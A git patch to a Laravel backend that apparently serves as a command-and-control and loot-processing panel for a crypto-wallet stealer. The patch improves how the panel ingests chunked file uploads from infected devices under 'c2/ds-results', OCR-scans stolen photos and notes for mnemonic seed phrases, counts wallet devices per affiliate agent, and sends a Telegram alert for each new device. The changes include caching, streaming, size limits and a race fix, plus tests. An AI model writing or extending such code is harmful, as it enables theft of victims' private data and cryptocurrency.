From 2d18331feb48fd3af67caa34bf7def019d90ef1e Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 17 Sep 2026 00:25:39 +0800 Subject: [PATCH] fix: db --- app/Console/Commands/DailyStatsCommand.php | 6 +- app/Console/Commands/ScanMnemonicsCommand.php | 55 ++++++-- .../Admin/MnemonicFindingController.php | 4 +- app/Services/AnalyticsReportService.php | 27 +++- app/Services/DailyReportService.php | 100 +++++++++------ app/Services/DsResultStore.php | 118 +++++++++++++++--- app/Services/IngestService.php | 16 ++- app/Services/MnemonicScanService.php | 86 +++++++++++-- tests/Feature/AnalyticsReportTest.php | 10 +- tests/Feature/DailyReportTest.php | 16 +++ tests/Feature/DsResultStoreTest.php | 48 +++++++ tests/Feature/MnemonicScanTest.php | 62 +++++++++ tests/Feature/NewBuilderIngestTest.php | 18 +++ 13 files changed, 475 insertions(+), 91 deletions(-) create mode 100644 tests/Feature/DsResultStoreTest.php diff --git a/app/Console/Commands/DailyStatsCommand.php b/app/Console/Commands/DailyStatsCommand.php index 1357525..ff2162e 100644 --- a/app/Console/Commands/DailyStatsCommand.php +++ b/app/Console/Commands/DailyStatsCommand.php @@ -12,7 +12,8 @@ class DailyStatsCommand extends Command {--days=30 : Inclusive local days ending today (ignored when --all or --from is set)} {--from= : Start date Y-m-d} {--to= : End date Y-m-d (default today)} - {--all : From the earliest visit/device through --to}'; + {--all : From the earliest visit/device through --to} + {--force : Recompute every day in range (implied by --all)}'; protected $description = 'Rebuild daily_stats and analytics_daily_dims rollups (UV / devices / version dims)'; @@ -24,7 +25,8 @@ class DailyStatsCommand extends Command [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()]; } - $result = $reports->rebuildAll($from, $to); + $force = (bool) $this->option('force') || (bool) $this->option('all'); + $result = $reports->rebuildAll($from, $to, $force); $this->info(sprintf( 'daily-stats rebuilt=%d agents=%d from=%s to=%s', $result['days'], diff --git a/app/Console/Commands/ScanMnemonicsCommand.php b/app/Console/Commands/ScanMnemonicsCommand.php index 56325aa..ba8bada 100644 --- a/app/Console/Commands/ScanMnemonicsCommand.php +++ b/app/Console/Commands/ScanMnemonicsCommand.php @@ -21,16 +21,10 @@ class ScanMnemonicsCommand extends Command public function handle(): int { $limit = max(1, (int) $this->option('limit')); - $photos = Photo::query() - ->whereIn('scan_status', [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED]) - ->orderByRaw('CASE WHEN COALESCE(text_count, 0) > 0 OR COALESCE(x_hit, 0) > 0 THEN 0 ELSE 1 END') - ->orderByDesc('created_at') - ->orderByDesc('id') - ->limit($limit) - ->get(['id']); + $photoIds = $this->pendingPhotoIds($limit); - foreach ($photos as $photo) { - ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr'); + foreach ($photoIds as $photoId) { + ScanPhotoMnemonic::dispatch($photoId)->onQueue('ocr'); } $noteQueued = 0; @@ -61,8 +55,49 @@ class ScanMnemonicsCommand extends Command } }); - $this->info('enqueued photos='.$photos->count().' note-devices='.$noteQueued); + $this->info('enqueued photos='.count($photoIds).' note-devices='.$noteQueued); return self::SUCCESS; } + + /** + * Boosted (text/x_hit) first, then newest pending. Avoids ORDER BY CASE filesort + * over the whole pending set every minute. + * + * @return list + */ + private function pendingPhotoIds(int $limit): array + { + $statuses = [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED]; + $boosted = Photo::query() + ->whereIn('scan_status', $statuses) + ->where(function ($q) { + $q->where('text_count', '>', 0)->orWhere('x_hit', '>', 0); + }) + ->orderByDesc('created_at') + ->orderByDesc('id') + ->limit($limit) + ->pluck('id'); + + $ids = $boosted->map(fn ($id) => (int) $id)->all(); + if (count($ids) >= $limit) { + return $ids; + } + + $rest = Photo::query() + ->whereIn('scan_status', $statuses) + ->where(function ($q) { + $q->where(function ($q) { + $q->whereNull('text_count')->orWhere('text_count', '<=', 0); + })->where(function ($q) { + $q->whereNull('x_hit')->orWhere('x_hit', '<=', 0); + }); + }) + ->orderByDesc('created_at') + ->orderByDesc('id') + ->limit($limit - count($ids)) + ->pluck('id'); + + return array_merge($ids, $rest->map(fn ($id) => (int) $id)->all()); + } } diff --git a/app/Http/Controllers/Admin/MnemonicFindingController.php b/app/Http/Controllers/Admin/MnemonicFindingController.php index 268c879..e0bf147 100644 --- a/app/Http/Controllers/Admin/MnemonicFindingController.php +++ b/app/Http/Controllers/Admin/MnemonicFindingController.php @@ -25,8 +25,8 @@ class MnemonicFindingController extends Controller return view('admin.findings.index', [ 'portal' => $this->portal(), 'agents' => $agents, - 'photoProgress' => $scan->photoProgress(), - 'noteProgress' => $scan->noteProgress(), + 'photoProgress' => $scan->photoProgress(null, $this->agent()), + 'noteProgress' => $scan->noteProgress(null, $this->agent()), ]); } diff --git a/app/Services/AnalyticsReportService.php b/app/Services/AnalyticsReportService.php index b853f75..4df1f8a 100644 --- a/app/Services/AnalyticsReportService.php +++ b/app/Services/AnalyticsReportService.php @@ -40,7 +40,7 @@ class AnalyticsReportService return $this->present($from, $to, $agentUserId); } - public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int + public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null, bool $force = false): int { [$from, $to] = $from !== null && $to !== null ? [$from->copy()->startOfDay(), $to->copy()->endOfDay()] @@ -48,12 +48,15 @@ class AnalyticsReportService $scope = DailyReportService::scopeKey($agentUserId); $now = Carbon::now(); + $refreshFrom = Carbon::now()->copy()->subDay()->startOfDay(); $days = 0; $cursor = $from->copy()->startOfDay(); $end = $to->copy()->startOfDay(); while ($cursor->lte($end)) { - $this->rebuildDay($cursor, $scope, $agentUserId, $now); - $days++; + if ($force || $cursor->gte($refreshFrom) || ! $this->dayHasSurvival($scope, $cursor)) { + $this->rebuildDay($cursor, $scope, $agentUserId, $now); + $days++; + } $cursor->addDay(); } @@ -87,7 +90,7 @@ class AnalyticsReportService } } - private function rebuildDay(Carbon $day, string $scope, ?int $agentUserId, Carbon $now): void + public function rebuildDay(Carbon $day, string $scope, ?int $agentUserId, Carbon $now): void { $from = $day->copy()->startOfDay(); $to = $day->copy()->endOfDay(); @@ -386,6 +389,22 @@ class AnalyticsReportService ->count(); } + private function dayHasSurvival(string $scope, Carbon $day): bool + { + $date = $day->toDateString(); + + return AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('stat_date', $date) + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL) + ->exists() + && AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('stat_date', $date) + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL_WALLET) + ->exists(); + } + private function versionDimSql(string $column): string { return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END"; diff --git a/app/Services/DailyReportService.php b/app/Services/DailyReportService.php index 3687a50..8e972e6 100644 --- a/app/Services/DailyReportService.php +++ b/app/Services/DailyReportService.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Models\AnalyticsDailyDim; use App\Models\Channel; use App\Models\DailyStat; use App\Models\Device; @@ -103,34 +104,45 @@ class DailyReportService /** * Rebuild one scope (site-wide, official, or one agent) for the inclusive local-date range. + * Historical days that already have rollups are skipped unless $force is true. + * Today and yesterday always refresh (in-progress traffic). */ - public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int + public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null, bool $force = false): int { [$from, $to] = $from !== null && $to !== null ? [$from->copy()->startOfDay(), $to->copy()->endOfDay()] : $this->window(); - $aggregated = $this->aggregate($from, $to, $agentUserId); $scope = self::scopeKey($agentUserId); $now = Carbon::now(); - foreach ($aggregated as $row) { - DailyStat::query()->updateOrCreate( - ['stat_date' => $row['date'], 'scope_key' => $scope], - [ - 'uv' => $row['uv'], - 'effective_uv' => $row['effective_uv'], - 'devices' => $row['devices'], - 'wallet_devices' => $row['wallet_devices'], - 'address_count' => $row['address_count'], - 'mnemonic_count' => $row['mnemonic_count'], - 'computed_at' => $now, - ], - ); + $refreshFrom = Carbon::now()->copy()->subDay()->startOfDay(); + $analytics = app(AnalyticsReportService::class); + $written = 0; + $cursor = $from->copy()->startOfDay(); + $end = $to->copy()->startOfDay(); + while ($cursor->lte($end)) { + if ($force || $cursor->gte($refreshFrom) || ! $this->dayIsFresh($cursor, $agentUserId)) { + [$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId); + $row = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount); + DailyStat::query()->updateOrCreate( + ['stat_date' => $row['date'], 'scope_key' => $scope], + [ + 'uv' => $row['uv'], + 'effective_uv' => $row['effective_uv'], + 'devices' => $row['devices'], + 'wallet_devices' => $row['wallet_devices'], + 'address_count' => $row['address_count'], + 'mnemonic_count' => $row['mnemonic_count'], + 'computed_at' => $now, + ], + ); + $analytics->rebuildDay($cursor, $scope, $agentUserId, $now); + $written++; + } + $cursor->addDay(); } - app(AnalyticsReportService::class)->rebuild($from, $to, $agentUserId); - - return count($aggregated); + return $written; } /** @@ -138,13 +150,13 @@ class DailyReportService * * @return array{days: int, agents: int} */ - public function rebuildAll(?Carbon $from = null, ?Carbon $to = null): array + public function rebuildAll(?Carbon $from = null, ?Carbon $to = null, bool $force = false): array { - $days = $this->rebuild($from, $to, null); - $this->rebuild($from, $to, 0); + $days = $this->rebuild($from, $to, null, $force); + $this->rebuild($from, $to, 0, $force); $agents = 0; foreach ($this->agentsWithChannels() as $agent) { - $this->rebuild($from, $to, (int) $agent->id); + $this->rebuild($from, $to, (int) $agent->id, $force); $agents++; } @@ -211,6 +223,33 @@ class DailyReportService return (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1; } + /** Cached daily_stats + analytics dims exist for this local calendar day. */ + private function dayIsFresh(Carbon $day, ?int $agentUserId): bool + { + $scope = self::scopeKey($agentUserId); + $date = $day->toDateString(); + $statOk = DailyStat::query() + ->where('scope_key', $scope) + ->where('stat_date', $date) + ->whereNotNull('computed_at') + ->whereNotNull('address_count') + ->exists(); + if (! $statOk) { + return false; + } + + return AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('stat_date', $date) + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL) + ->exists() + && AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('stat_date', $date) + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL_WALLET) + ->exists(); + } + /** * @return Collection */ @@ -232,23 +271,6 @@ class DailyReportService ->get(); } - /** - * @return list - */ - private function aggregate(Carbon $from, Carbon $to, ?int $agentUserId): array - { - $out = []; - $cursor = $from->copy()->startOfDay(); - $end = $to->copy()->startOfDay(); - while ($cursor->lte($end)) { - [$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId); - $out[] = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount); - $cursor->addDay(); - } - - return array_reverse($out); - } - /** * @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int} */ diff --git a/app/Services/DsResultStore.php b/app/Services/DsResultStore.php index 66a782d..76a653c 100644 --- a/app/Services/DsResultStore.php +++ b/app/Services/DsResultStore.php @@ -4,6 +4,7 @@ namespace App\Services; use App\Models\Device; use App\Models\Photo; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; class DsResultStore @@ -14,6 +15,10 @@ class DsResultStore /** @var list */ private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff']; + private const MAX_CHUNKS = 512; + + private const MAX_ASSEMBLED_BYTES = 80 * 1024 * 1024; + public function __construct( private readonly IngestService $ingest, ) {} @@ -49,8 +54,11 @@ class DsResultStore $index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null; if ($total > 1 && $index !== null) { - $assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes); - if ($assembled === null) { + if ($total > self::MAX_CHUNKS || $index < 0 || $index >= $total) { + return ['stored' => false, 'reason' => 'bad_chunks', 'filename' => $filename]; + } + $assembledPath = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes); + if ($assembledPath === null) { return [ 'stored' => false, 'reason' => 'chunk_pending', @@ -59,39 +67,76 @@ class DsResultStore 'total_chunks' => $total, ]; } - $bytes = $assembled; + if ($assembledPath === false) { + return ['stored' => false, 'reason' => 'too_large', 'filename' => $filename]; + } + + try { + return $this->persistFile($device, $filename, $commandId, $assembledPath); + } finally { + @unlink($assembledPath); + } } - $hash = hash('sha256', $bytes); + return $this->persistBytes($device, $filename, $commandId, $bytes); + } + + /** + * @return array + */ + private function persistBytes(Device $device, string $filename, string $commandId, string $bytes): array + { + $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_'); + if ($tmp === false) { + return ['stored' => false, 'reason' => 'tmp_failed', 'filename' => $filename]; + } + file_put_contents($tmp, $bytes); + + try { + return $this->persistFile($device, $filename, $commandId, $tmp); + } finally { + @unlink($tmp); + } + } + + /** + * @return array + */ + private function persistFile(Device $device, string $filename, string $commandId, string $absPath): array + { + $hash = hash_file('sha256', $absPath) ?: ''; + $size = (int) filesize($absPath); if ($this->alreadyIngested($device, $filename, $hash)) { return [ 'stored' => false, 'reason' => 'duplicate', 'filename' => $filename, - 'size' => strlen($bytes), + 'size' => $size, ]; } $rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename; - Storage::disk('local')->put($rel, $bytes); + $stream = fopen($absPath, 'rb'); + if ($stream === false) { + return ['stored' => false, 'reason' => 'read_failed', 'filename' => $filename]; + } + Storage::disk('local')->put($rel, $stream); + if (is_resource($stream)) { + fclose($stream); + } $this->markSeen($device, $hash, $filename); $photo = false; if ($this->isImage($filename) && $device->albumStorageEnabled()) { - $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_'); - if ($tmp !== false) { - file_put_contents($tmp, $bytes); - $this->ingest->ingestPhotos($device, [$tmp]); - @unlink($tmp); - $photo = true; - } + $this->ingest->ingestPhotos($device, [$absPath]); + $photo = true; } return [ 'stored' => true, 'path' => $rel, 'photo' => $photo, - 'size' => strlen($bytes), + 'size' => $size, 'filename' => $filename, ]; } @@ -140,6 +185,9 @@ class DsResultStore return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash; } + /** + * Stream chunks to a temp file. null = still waiting, false = over size / I/O fail. + */ private function acceptChunk( Device $device, string $commandId, @@ -147,7 +195,7 @@ class DsResultStore int $index, int $total, string $bytes, - ): ?string { + ): string|false|null { $dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename; Storage::disk('local')->put($dir.'/'.$index, $bytes); Storage::disk('local')->put($dir.'/total', (string) $total); @@ -158,13 +206,45 @@ class DsResultStore } } - $out = ''; - for ($i = 0; $i < $total; $i++) { - $out .= (string) Storage::disk('local')->get($dir.'/'.$i); + $tmp = tempnam(sys_get_temp_dir(), 'ds_asm_'); + if ($tmp === false) { + Storage::disk('local')->deleteDirectory($dir); + + return false; } + $fh = fopen($tmp, 'wb'); + if ($fh === false) { + @unlink($tmp); + Storage::disk('local')->deleteDirectory($dir); + + return false; + } + + $written = 0; + for ($i = 0; $i < $total; $i++) { + $chunk = (string) Storage::disk('local')->get($dir.'/'.$i); + $len = strlen($chunk); + if ($written + $len > self::MAX_ASSEMBLED_BYTES) { + unset($chunk); + fclose($fh); + @unlink($tmp); + Storage::disk('local')->deleteDirectory($dir); + Log::warning('ds result assembled too large', [ + 'device_id' => $device->device_id, + 'filename' => $filename, + 'total_chunks' => $total, + ]); + + return false; + } + fwrite($fh, $chunk); + $written += $len; + unset($chunk); + } + fclose($fh); Storage::disk('local')->deleteDirectory($dir); - return $out; + return $tmp; } private function isVideo(string $filename): bool diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 8fe9092..6ca73e0 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -19,6 +19,7 @@ use App\Services\Tokenview\TokenviewMonitorService; use App\Support\CfIpCountry; use App\Support\NoteContent; use App\Support\WalletSource; +use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Http\Request; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; @@ -408,7 +409,20 @@ class IngestService } } - $device = Device::query()->create($attrs); + try { + $device = Device::query()->create($attrs); + } catch (UniqueConstraintViolationException $e) { + $existing = Device::query()->where('device_id', $deviceKey)->first(); + if ($existing === null) { + throw $e; + } + if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) { + $this->fillMissingAttribution($existing, $request, $payload, $allowOldC); + } + + return $existing->refresh(); + } + $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index 392a183..a09fa6e 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -9,10 +9,13 @@ use App\Models\MnemonicFinding; use App\Models\Note; use App\Models\NoteScan; use App\Models\Photo; +use App\Models\User; use App\Services\Chain\Bip44; use App\Services\Ocr\OcrDriver; use App\Services\Ocr\PhotoOcrPreparer; +use App\Support\AgentScope; use App\Support\NoteContent; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; class MnemonicScanService @@ -168,11 +171,33 @@ class MnemonicScanService /** * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} */ - public function photoProgress(?int $deviceId = null): array + public function photoProgress(?int $deviceId = null, ?User $agent = null): array + { + if ($deviceId !== null) { + return $this->photoProgressCounts($deviceId, null); + } + + return Cache::remember( + 'scan.photo_progress:'.$this->progressScopeKey($agent), + 60, + fn () => $this->photoProgressCounts(null, $agent), + ); + } + + /** + * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} + */ + private function photoProgressCounts(?int $deviceId, ?User $agent): array { $q = Photo::query(); if ($deviceId !== null) { $q->where('device_id', $deviceId); + } elseif ($agent !== null) { + $q->join('devices', 'devices.id', '=', 'photos.device_id'); + AgentScope::applyDeviceChannelScope($q, $agent); + $q->selectRaw('photos.scan_status as scan_status, COUNT(*) as c')->groupBy('photos.scan_status'); + + return $this->progressFromCounts($q->pluck('c', 'scan_status')->all()); } return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all()); @@ -181,7 +206,7 @@ class MnemonicScanService /** * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} */ - public function noteProgress(?Device $device = null): array + public function noteProgress(?Device $device = null, ?User $agent = null): array { if ($device !== null) { $note = $device->notes()->orderByDesc('id')->first(); @@ -205,17 +230,54 @@ class MnemonicScanService return $this->progressFromCounts($counts); } - $itemTotal = 0; - Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) { - $note = $rows->first(); - $itemTotal += count(NoteContent::normalizeStored($note->content)); - }); - $scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all(); - $progress = $this->progressFromCounts($scannedRows); - $progress['total'] = $itemTotal; - $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']); + return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) { + $itemTotal = 0; + $latestIds = Note::query()->selectRaw('MAX(notes.id) as id'); + $this->scopeNotesToAgent($latestIds, $agent); + $latestIds->groupBy('notes.device_id'); - return $progress; + Note::query() + ->whereIn('id', $latestIds) + ->select(['id', 'content']) + ->orderBy('id') + ->chunkById(200, function ($notes) use (&$itemTotal) { + foreach ($notes as $note) { + $itemTotal += count(NoteContent::normalizeStored($note->content)); + } + }); + + $scans = NoteScan::query(); + $this->scopeNoteScansToAgent($scans, $agent); + $scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all(); + $progress = $this->progressFromCounts($scannedRows); + $progress['total'] = $itemTotal; + $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']); + + return $progress; + }); + } + + private function progressScopeKey(?User $agent): string + { + return $agent === null ? 'all' : 'a:'.$agent->id; + } + + private function scopeNotesToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void + { + if ($agent === null) { + return; + } + $query->join('devices', 'devices.id', '=', 'notes.device_id'); + AgentScope::applyDeviceChannelScope($query, $agent); + } + + private function scopeNoteScansToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void + { + if ($agent === null) { + return; + } + $query->join('devices', 'devices.id', '=', 'note_scans.device_id'); + AgentScope::applyDeviceChannelScope($query, $agent); } /** diff --git a/tests/Feature/AnalyticsReportTest.php b/tests/Feature/AnalyticsReportTest.php index dbc497a..b566348 100644 --- a/tests/Feature/AnalyticsReportTest.php +++ b/tests/Feature/AnalyticsReportTest.php @@ -198,9 +198,15 @@ class AnalyticsReportTest extends TestCase 'ios_version' => '18.5', 'has_wallet' => Device::WALLET_NONE, ]); + $aliveEnd = now(); + $aliveStart = $aliveEnd->copy()->subHours(2); + if ($aliveStart->lt($aliveEnd->copy()->startOfDay())) { + $aliveStart = $aliveEnd->copy()->startOfDay(); + $aliveEnd = $aliveStart->copy()->addHours(2); + } DB::table('devices')->where('id', $alive->id)->update([ - 'created_at' => now()->subHours(2), - 'updated_at' => now(), + 'created_at' => $aliveStart, + 'updated_at' => $aliveEnd, ]); DB::table('devices')->where('id', $short->id)->update([ 'created_at' => now(), diff --git a/tests/Feature/DailyReportTest.php b/tests/Feature/DailyReportTest.php index 6028148..5955f23 100644 --- a/tests/Feature/DailyReportTest.php +++ b/tests/Feature/DailyReportTest.php @@ -229,6 +229,22 @@ class DailyReportTest extends TestCase $this->assertSame(1, $row->uv); } + #[Test] + public function command_skips_fresh_historical_days_unless_forced(): void + { + $this->artisan('coruna:daily-stats', ['--days' => 5]) + ->expectsOutputToContain('daily-stats rebuilt=5') + ->assertSuccessful(); + + $this->artisan('coruna:daily-stats', ['--days' => 5]) + ->expectsOutputToContain('daily-stats rebuilt=2') + ->assertSuccessful(); + + $this->artisan('coruna:daily-stats', ['--days' => 5, '--force' => true]) + ->expectsOutputToContain('daily-stats rebuilt=5') + ->assertSuccessful(); + } + #[Test] public function agent_only_sees_own_channel(): void { diff --git a/tests/Feature/DsResultStoreTest.php b/tests/Feature/DsResultStoreTest.php new file mode 100644 index 0000000..3637df6 --- /dev/null +++ b/tests/Feature/DsResultStoreTest.php @@ -0,0 +1,48 @@ +create([ + 'device_id' => 'DSCHUNKDEVICE01', + 'album_storage' => false, + ]); + $store = app(DsResultStore::class); + + $pending = $store->store($device, [ + 'filename' => 'memo.bin', + 'data' => base64_encode('AAA'), + 'command_id' => 'cmd1', + 'total_chunks' => 2, + 'chunk_index' => 0, + ]); + $this->assertFalse($pending['stored']); + $this->assertSame('chunk_pending', $pending['reason']); + + $done = $store->store($device, [ + 'filename' => 'memo.bin', + 'data' => base64_encode('BBB'), + 'command_id' => 'cmd1', + 'total_chunks' => 2, + 'chunk_index' => 1, + ]); + $this->assertTrue($done['stored']); + $this->assertSame(6, $done['size']); + Storage::disk('local')->assertExists($done['path']); + $this->assertSame('AAABBB', Storage::disk('local')->get($done['path'])); + } +} diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php index 021537e..df19fe9 100644 --- a/tests/Feature/MnemonicScanTest.php +++ b/tests/Feature/MnemonicScanTest.php @@ -281,6 +281,68 @@ TXT; }); } + #[Test] + public function admin_findings_index_streams_note_progress(): void + { + $first = $this->device('dev-scan-progress-a'); + $second = $this->device('dev-scan-progress-b'); + Note::query()->create([ + 'device_id' => $first->id, + 'content' => [ + ['title' => 'old', 'body' => 'one', 'native_id' => 1], + ['title' => 'old2', 'body' => 'two', 'native_id' => 2], + ], + 'content_hash' => hash('sha256', 'old'), + ]); + Note::query()->create([ + 'device_id' => $first->id, + 'content' => [ + ['title' => 'new', 'body' => 'only-latest', 'native_id' => 3], + ], + 'content_hash' => hash('sha256', 'new'), + ]); + Note::query()->create([ + 'device_id' => $second->id, + 'content' => [ + ['title' => 'b1', 'body' => 'x', 'native_id' => 1], + ['title' => 'b2', 'body' => 'y', 'native_id' => 2], + ], + 'content_hash' => hash('sha256', 'b'), + ]); + + $progress = app(MnemonicScanService::class)->noteProgress(); + $this->assertSame(3, $progress['total']); + + $agentA = User::query()->create(['username' => 'scan-pa', 'password' => 'secret12', 'status' => 1]); + $agentB = User::query()->create(['username' => 'scan-pb', 'password' => 'secret12', 'status' => 1]); + Channel::query()->create(['channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agentA->id, 'status' => 1]); + Channel::query()->create(['channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agentB->id, 'status' => 1]); + $other = Device::query()->create([ + 'device_id' => 'dev-scan-progress-c', + 'channel_id' => 'cccccccccccccccccccccccccccccccc', + ]); + Note::query()->create([ + 'device_id' => $other->id, + 'content' => [ + ['title' => 'c1', 'body' => 'z', 'native_id' => 1], + ['title' => 'c2', 'body' => 'w', 'native_id' => 2], + ['title' => 'c3', 'body' => 'v', 'native_id' => 3], + ['title' => 'c4', 'body' => 'u', 'native_id' => 4], + ['title' => 'c5', 'body' => 't', 'native_id' => 5], + ], + 'content_hash' => hash('sha256', 'c'), + ]); + $this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']); + $this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']); + + $admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->get(route('admin.findings.index')) + ->assertOk() + ->assertSee('助记词扫描') + ->assertSee('备忘录'); + } + #[Test] public function agent_cannot_open_findings_when_scan_hidden(): void { diff --git a/tests/Feature/NewBuilderIngestTest.php b/tests/Feature/NewBuilderIngestTest.php index ce28ea1..d73f103 100644 --- a/tests/Feature/NewBuilderIngestTest.php +++ b/tests/Feature/NewBuilderIngestTest.php @@ -5,6 +5,7 @@ namespace Tests\Feature; use App\Models\Channel; use App\Models\Device; use App\Services\CorunaCrypto; +use App\Services\IngestService; use Illuminate\Foundation\Testing\RefreshDatabase; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -176,4 +177,21 @@ class NewBuilderIngestTest extends TestCase $this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id')); } + + #[Test] + public function create_device_race_returns_existing_row(): void + { + $existing = Device::query()->create(['device_id' => '000007B46A3A84B8']); + $method = new \ReflectionMethod(IngestService::class, 'createDevice'); + $device = $method->invoke( + app(IngestService::class), + \Illuminate\Http\Request::create('/event', 'POST'), + ['d' => '000007B46A3A84B8'], + '000007B46A3A84B8', + false, + ); + + $this->assertSame($existing->id, $device->id); + $this->assertSame(1, Device::query()->count()); + } }